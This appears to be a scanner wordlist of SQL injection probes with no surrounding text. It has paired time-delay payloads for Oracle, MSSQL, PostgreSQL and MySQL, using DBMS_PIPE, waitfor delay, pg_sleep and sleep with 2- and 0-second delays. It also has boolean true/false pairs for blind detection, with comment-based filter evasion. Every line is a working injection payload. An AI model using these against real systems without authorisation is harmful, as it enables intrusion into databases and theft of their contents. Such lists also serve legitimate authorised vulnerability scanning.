'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('w',2)='w

'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('d',0)='d

'and(select+1)>0waitfor/**/delay'0:0:2

'and(select+1)>0waitfor/**/delay'0:0:0

'/**/and(select'1'from/**/pg_sleep(2))>'0

'/**/and(select'1'from/**/pg_sleep(0))>'0

"and(select*from(select+sleep(2))a/**/union/**/select+1)="

"and(select*from(select+sleep(0))a/**/union/**/select+1)="

'and(select*from(select+sleep(2))a/**/union/**/select+1)='

'and(select*from(select+sleep(0))a/**/union/**/select+1)='

"and"q"="t

"and"r"="r

"and"d"="u

"and"d"="d

"and"m"="r

"and"h"="h

"and"o"="v

"and"m"="m

'and'n'='v

'and'e'='e